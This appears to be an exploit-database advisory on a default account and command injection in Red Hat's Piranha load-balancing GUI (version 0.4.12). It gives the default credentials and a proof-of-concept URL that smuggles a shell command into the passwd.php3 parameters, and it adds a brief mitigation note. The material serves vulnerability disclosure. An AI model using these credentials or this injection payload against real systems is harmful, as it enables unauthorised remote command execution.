Default Username and Password in Piranha Virtual Server and Load Balancing Package

vendor:

Piranha

by:

SecurityFocus

7.5

CVSS

HIGH

Default Credentials

259

CWE

Product Name: Piranha

Affected Version From: 2000.4.12

Affected Version To: 2000.4.12

Patch Exists: YES

Related CWE: N/A

CPE: a:redhat:piranha

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Default Username and Password in Piranha Virtual Server and Load Balancing Package

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine. Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3. Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT. This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.

Mitigation:

Ensure that default credentials are not used and that all passwords are strong and unique.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1148/info

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine.

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.